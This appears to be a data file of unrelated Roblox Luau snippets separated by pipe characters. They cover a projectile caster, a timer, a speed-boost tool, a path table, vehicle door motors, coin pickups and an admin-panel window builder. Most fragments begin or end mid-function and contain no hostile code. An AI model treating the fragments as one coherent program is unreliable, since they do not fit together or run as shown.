P1 = CFrame.new().pointToObjectSpace(Camera.CFrame, Origin),
V1 = nil,
Attachment0 = Attachment0,
Attachment1 = Attachment1,
Effects = Effects,
MotionBlur = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.MotionBlur, ClientModule.MotionBlur),
BulletSize = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletSize, ClientModule.BulletSize),
BulletBloom = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletBloom, ClientModule.BulletBloom),
BulletBrightness = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletBrightness, ClientModule.BulletBrightness),
}
end
end
local CastBehavior = FastCast.newBehavior()
CastBehavior.RaycastParams = CastParams
CastBehavior.TravelType = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.TravelType, ClientModule.TravelType)
CastBehavior.MaxDistance = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.Range, ClientModule.Range)
CastBehavior.Lifetime = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.Lifetime, ClientModule.Lifetime)
CastBehavior.HighFidelityBehavior = FastCast.HighFidelityBehavior.Default
--CastBehavior.CosmeticBulletTemplate = CosmeticBullet -- Uncomment if you just want a simple template part and aren't using PartCache
CastBehavior.CosmeticBulletProvider = CosmeticPartProvider -- Comment out if you aren't using PartCache
CastBehavior.CosmeticBulletContainer = ProjectileContainer
CastBehavior.Acceleration = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.Acceleration, ClientModule.Acceleration)
CastBehavior.AutoIgnoreContainer = false
CastBehavior.HitEventOnTermination = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitEventOnTermination, ClientModule.HitEventOnTermination)
CastBehavior.CanPenetrateFunction = CanRayPenetrate
CastBehavior.CanHitFunction = CanRayHit
local RaycastHitbox = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.RaycastHitbox, ClientModule.RaycastHitbox)
local RaycastHitboxData = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.RaycastHitboxData, ClientModule.RaycastHitboxData)
CastBehavior.RaycastHitbox = (RaycastHitbox and #RaycastHitboxData > 0) and RaycastHitboxData or nil
CastBehavior.CurrentCFrame = CFrame.new(Origin, Origin + Dir)
CastBehavior.ModifiedDirection = CFrame.new(Origin, Origin + Dir).LookVector
CastBehavior.Hitscan = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HitscanMode, ClientModule.HitscanMode)
local LaserTrailId = HttpService:GenerateGUID()
if Replicate then
if LaserTrailEnabled and DamageableLaserTrail then
table.insert(LaserTrails, {
Id = LaserTrailId,
LaserContainer = {},
HitHumanoids = {},
Terminate = false,
})
end
end
local BoltCFrameTable = {}
local LightningBoltEnabled = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LightningBoltEnabled, ClientModule.LightningBoltEnabled)
if LightningBoltEnabled then
local BoltRadius = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltRadius, ClientModule.BoltRadius)
for i = 1, AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltCount, ClientModule.BoltCount) do
if i == 1 then
table.insert(BoltCFrameTable, CFrame.new(0, 0, 0))
else
table.insert(BoltCFrameTable, CFrame.new(math.random(-BoltRadius, BoltRadius), math.random(-BoltRadius, BoltRadius), 0))
end
end
end
CastBehavior.UserData = {
ShootId = ShootId,
Tool = Tool,
Character = Character,
ClientModule = ClientModule,
Misc = Misc,
Replicate = Replicate,
PenetrationData = PenetrationData,
BulletParticleData = BulletParticleData,
LaserData = {
LaserTrailEnabled = LaserTrailEnabled,
LaserTrailWidth = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailWidth, ClientModule.LaserTrailWidth),
LaserTrailHeight = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailHeight, ClientModule.LaserTrailHeight),
LaserTrailColor = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailColor, ClientModule.LaserTrailColor),
RandomizeLaserColorIn = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.RandomizeLaserColorIn, ClientModule.RandomizeLaserColorIn),
LaserTrailMaterial = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailMaterial, ClientModule.LaserTrailMaterial),
LaserTrailShape = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailShape, ClientModule.LaserTrailShape),
LaserTrailReflectance = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailReflectance, ClientModule.LaserTrailReflectance),
LaserTrailTransparency = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailTransparency, ClientModule.LaserTrailTransparency),
LaserTrailVisibleTime = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailVisibleTime, ClientModule.LaserTrailVisibleTime),
LaserTrailFadeTime = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailFadeTime, ClientModule.LaserTrailFadeTime),
ScaleLaserTrail = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.ScaleLaserTrail, ClientModule.ScaleLaserTrail),
LaserTrailScaleMultiplier = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailScaleMultiplier, ClientModule.LaserTrailScaleMultiplier),
RandomLaserColor = Color3.new(math.random(), math.random(), math.random()),
LaserTrailId = LaserTrailId,
UpdateLaserTrail = UpdateLaserTrail,
LaserTrailContainer = {},
},
LightningData = {
LightningBoltEnabled = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LightningBoltEnabled, ClientModule.LightningBoltEnabled),
BoltWideness = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltWideness, ClientModule.BoltWideness),
BoltWidth = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltWidth, ClientModule.BoltWidth),
BoltHeight = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltHeight, ClientModule.BoltHeight),
BoltColor = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltColor, ClientModule.BoltColor),
RandomizeBoltColorIn = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.RandomizeBoltColorIn, ClientModule.RandomizeBoltColorIn),
BoltMaterial = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltMaterial, ClientModule.BoltMaterial),
BoltShape = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltShape, ClientModule.BoltShape),
BoltReflectance = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltReflectance, ClientModule.BoltReflectance),
BoltTransparency = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltTransparency, ClientModule.BoltTransparency),
BoltVisibleTime = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltVisibleTime, ClientModule.BoltVisibleTime),
BoltFadeTime = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltFadeTime, ClientModule.BoltFadeTime),
ScaleBolt = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.ScaleBolt, ClientModule.ScaleBolt),
BoltScaleMultiplier = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BoltScaleMultiplier, ClientModule.BoltScaleMultiplier),
RandomBoltColor = Color3.new(math.random(), math.random(), math.random()),
BoltCFrameTable = BoltCFrameTable,
},
SpinData = {
CanSpinPart = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.CanSpinPart, ClientModule.CanSpinPart),
SpinX = SpinX,
SpinY = SpinY,
SpinZ = SpinZ,
InitalTick = os.clock(),
InitalAngularVelocity = Vector3.new(SpinX, SpinY, SpinZ),
InitalRotation = (CastBehavior.CurrentCFrame - CastBehavior.CurrentCFrame.p),
ProjectileOffset = Vector3.new(),
},
DebrisData = {
DebrisProjectile = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.DebrisProjectile, ClientModule.DebrisProjectile),
AnchorDebris = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.AnchorDebris, ClientModule.AnchorDebris),
CollideDebris = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.CollideDebris, ClientModule.CollideDebris),
NormalizeDebris = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.NormalizeDebris, ClientModule.NormalizeDebris),
BounceDebris = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BounceDebris, ClientModule.BounceDebris),
BounceVelocity = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BounceVelocity, ClientModule.BounceVelocity),
DecayProjectile = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.DecayProjectile, ClientModule.DecayProjectile),
AnchorDecay = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.AnchorDecay, ClientModule.AnchorDecay),
CollideDecay = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.CollideDecay, ClientModule.CollideDecay),
DecayVelocity = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.DecayVelocity, ClientModule.DecayVelocity),
VelocityInfluence = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.VelocityInfluence, ClientModule.VelocityInfluence),
DisableDebrisContents = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.DisableDebrisContents, ClientModule.DisableDebrisContents),
},
BounceData = {
CurrentBounces = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.RicochetAmount, ClientModule.RicochetAmount),
BounceElasticity = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BounceElasticity, ClientModule.BounceElasticity),
FrictionConstant = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.FrictionConstant, ClientModule.FrictionConstant),
IgnoreSlope = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.IgnoreSlope, ClientModule.IgnoreSlope),
SlopeAngle = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.SlopeAngle, ClientModule.SlopeAngle),
BounceHeight = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BounceHeight, ClientModule.BounceHeight),
NoExplosionWhileBouncing = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.NoExplosionWhileBouncing, ClientModule.NoExplosionWhileBouncing),
StopBouncingOn = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.StopBouncingOn, ClientModule.StopBouncingOn),
SuperRicochet = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.SuperRicochet, ClientModule.SuperRicochet),
BounceBetweenHumanoids = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BounceBetweenHumanoids, ClientModule.BounceBetweenHumanoids),
PredictDirection = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.PredictDirection, ClientModule.PredictDirection),
BouncedHumanoids = {},
},
HomeData = {
Homing = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.Homing, ClientModule.Homing),
HomingDistance = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HomingDistance, ClientModule.HomingDistance),
TurnRatePerSecond = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.TurnRatePerSecond, ClientModule.TurnRatePerSecond),
HomeThroughWall = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.HomeThroughWall, ClientModule.HomeThroughWall),
LockOnOnHovering = ClientModule.LockOnOnHovering,
LockedEntity = Misc.LockedEntity,
},
UpdateData = {
UpdateRayInExtra = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.UpdateRayInExtra, ClientModule.UpdateRayInExtra),
ExtraRayUpdater = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.ExtraRayUpdater, ClientModule.ExtraRayUpdater),
},
IgnoreList = IgnoreList,
LastSegmentOrigin = Vector3.new(),
SegmentOrigin = Vector3.new(),
SegmentDirection = Vector3.new(),
SegmentVelocity = Vector3.new(),
LastPosition = Origin,
CastBehavior = CastBehavior,
Whizzed = false,
}
local Simulate = Caster:Fire(Origin, Dir, ModifiedBulletSpeed, CastBehavior)
end
if Replicate then
if LaserTrailEnabled and DamageableLaserTrail then
if UpdateLaserTrail then
UpdateLaserTrail.Event:Connect(function(Id, LaserContainer, Terminate)
for _, v in pairs(LaserTrails) do
if v.Id == Id then
v.LaserContainer = LaserContainer
if Terminate then
v.Terminate = true
end
break
end
end
end)
end
local Connection
Connection = RunService.Heartbeat:Connect(function(dt)
if #LaserTrails <= 0 then
if UpdateLaserTrail then
UpdateLaserTrail:Destroy()
end
if Connection then
Connection:Disconnect()
Connection = nil
end
else
for i, v in next, LaserTrails, nil do
local Terminated = false
if v.Terminate then
if #v.LaserContainer <= 0 then
Terminated = true
table.remove(LaserTrails, i)
end
end
if not Terminated then
for _, vv in pairs(v.LaserContainer) do
if vv then
local TouchingParts = Workspace:GetPartsInPart(vv, RegionParams)
for _, part in pairs(TouchingParts) do
if part and part.Parent then
local Target = part:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or part.Parent:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Parent ~= Character and TargetTorso then
if TargetHumanoid.Health > 0 then
if not table.find(v.HitHumanoids, TargetHumanoid) then
table.insert(v.HitHumanoids, TargetHumanoid)
Thread:Spawn(function()
InflictTarget:InvokeServer("GunLaser", Tool, ClientModule, TargetHumanoid, TargetTorso, part, part.Size, Misc)
end)
if Tool and Tool.GunClient:FindFirstChild("MarkerEvent") then
Tool.GunClient.MarkerEvent:Fire(ClientModule, false)
end
if AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailConstantDamage, ClientModule.LaserTrailConstantDamage) then
Thread:Delay(AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailDamageRate, ClientModule.LaserTrailDamageRate), function()
local Index = table.find(v.HitHumanoids, TargetHumanoid)
if Index then
table.remove(v.HitHumanoids, Index)
end
end)
end
end
end
end
end
end
end
end
end
end
end
end)
end
end
end
end
Caster.RayFinalHit:Connect(OnRayFinalHit)
Caster.RayHit:Connect(OnRayHit)
Caster.LengthChanged:Connect(OnRayUpdated)
Caster.CastTerminating:Connect(OnRayTerminated)
return ProjectileHandler
|
--[=[
Starts the timer.
]=] |
function Timer:Start()
if self._runHandle then return end
if self.AllowDrift then
self:_startTimer()
else
self:_startTimerNoDrift()
end
end
|
-- eat:Play() |
tool.Parent.Humanoid.WalkSpeed = 30
wait(8)
tool.Parent.Humanoid.WalkSpeed = 18
Debounce = false
end
end)
tool.Unequipped:Connect(function() |
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{27,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{27,28,44,45,49},t},
[16]={n,f},
[19]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{27,28,29,31,32,34,35,39,41,59},t},
[63]={{27,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{27,28,29,31,32,34},t},
[21]={{27,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{27,28,44,45,49,48},t},
[27]={{27},t},
[14]={n,f},
[31]={{27,28,29,31},t},
[56]={{27,28,29,31,32,34,35,39,41,30,56},t},
[29]={{27,28,29},t},
[13]={n,f},
[47]={{27,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{27,28,44,45},t},
[57]={{27,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{27,28,29,31,32,33,36},t},
[25]={{27,26,25},t},
[71]={{27,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{27,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{27,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{27,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{27,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{27,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{27,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{27,28,29,31,32,34,35},t},
[53]={{27,28,44,45,49,48,47,52,53},t},
[73]={{27,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{27,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{27,28,29,31,32,33},t},
[69]={{27,28,29,31,32,34,35,39,41,60,69},t},
[65]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{27,26},t},
[68]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{27,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{27,28,44,45,49,48,47,50},t},
[66]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{27,26,25,24},t},
[23]={{27,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{27,28,44},t},
[39]={{27,28,29,31,32,34,35,39},t},
[32]={{27,28,29,31,32},t},
[3]={n,f},
[30]={{27,28,29,31,32,34,35,39,41,30},t},
[51]={{27,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{27,28,29,31,32,34,35,39,41,59,61},t},
[55]={{27,28,44,45,49,48,47,52,53,54,55},t},
[46]={{27,28,44,45,49,48,47,46},t},
[42]={{27,28,29,31,32,34,35,38,42},t},
[40]={{27,28,29,31,32,34,35,40},t},
[52]={{27,28,44,45,49,48,47,52},t},
[54]={{27,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{27,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{27,28,29,31,32,34,35,38},t},
[28]={{27,28},t},
[5]={n,f},
[64]={{27,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r
|
-- Turbocharger |
Tune.Turbochargers = 01 -- Number of turbochargers in the engine |
--//seats |
local tkf = Instance.new("Motor", script.Parent.Parent.Misc.TKF.SS)
tkf.MaxVelocity = 0.03
tkf.Part0 = script.Parent.TKF
tkf.Part1 = tkf.Parent
local wl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Window.SS) --windows
local wr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Window.SS)
local wl2 = Instance.new("Motor", script.Parent.Parent.Misc.RL.Window.SS)
local wr2 = Instance.new("Motor", script.Parent.Parent.Misc.RR.Window.SS)
wl.MaxVelocity = 0.007
wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD
wl.Part1 = wl.Parent
wr.MaxVelocity = 0.007
wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD
wr.Part1 = wr.Parent
wl2.MaxVelocity = 0.007
wl2.Part0 = script.Parent.Parent.Misc.RL.Door.WD
wl2.Part1 = wl2.Parent
wr2.MaxVelocity = 0.007
wr2.Part0 = script.Parent.Parent.Misc.RR.Door.WD
wr2.Part1 = wr2.Parent
local ml = Instance.new("Motor", script.Parent.Parent.Misc.FL.Mirror.SS)
ml.MaxVelocity = 0.02
ml.Part0 = script.Parent.Parent.Misc.FL.Door.M
ml.Part1 = ml.Parent
local mr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Mirror.SS)
mr.MaxVelocity = 0.02
mr.Part0 = script.Parent.Parent.Misc.FR.Door.M
mr.Part1 = mr.Parent
local sr = Instance.new("Motor", script.Parent.Parent.Misc.SR.SS)
sr.MaxVelocity = 0.01
sr.Part0 = script.Parent.SR
sr.Part1 = sr.Parent
local cd = Instance.new("Motor", script.Parent.Parent.Misc.CD.SS)
cd.MaxVelocity = 0.02
cd.Part0 = script.Parent.CD
cd.Part1 = cd.Parent
|
-- ROBLOX deviation START using Callable table to allow for properties on a function alternative |
type CallableMatcher = typeof(setmetatable({
state = {} :: any,
}, {
__call = function(self: any, str: Config_Path): boolean
return false
end,
}))
type MatcherFn = (str: Config_Path) -> boolean
type Matcher = CallableMatcher |
-- Initially connect all coins to touch detection |
for _, coin in pairs(CollectionService:GetTagged("Coin")) do
coin.Collider.Touched:Connect(function(hit)
local player = game:GetService("Players"):GetPlayerFromCharacter(hit.Parent)
if player then
--print('Coin touched by '..player.Name)
processCoinTouch(player, coin, COIN_REGEN_DELAY)
end
end)
coinAnimation(coin)
end
|
-- Get last play time |
function Main:GetLastPlayTime()
return self.LastPlayTime
end
return Main
|
--// All global vars will be wiped/replaced except script |
return function(data)
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
function Expand(ent, point, text)
local label = point:FindFirstChild("Label")
if label then
ent.MouseLeave:connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:connect(function(x,y)
inExpandable = ent
label.Text = text or ent.Desc.Value
--point.Size = UDim2.new(0, 10000, 0, 10000)
local newx = 500
local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
if bounds<500 then newx = bounds end
point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)
point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in next,frame:GetChildren() do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in next,Children do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
if Hide.Visible then
startPos = startPos+1
end
if Close.Visible then
startPos = startPos+1
end
if Refresh.Visible then
startPos = startPos+1
end
realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)
data.Position = data.Position or realPos
data.Size = data.Size or original.Size
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
data.ZIndex = data.ZIndex or original.ZIndex
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextSize = data.TextSize or original.TextSize
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
data.Font = data.Font or original.Font
data.Parent = Drag
return create("TextButton", data)
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
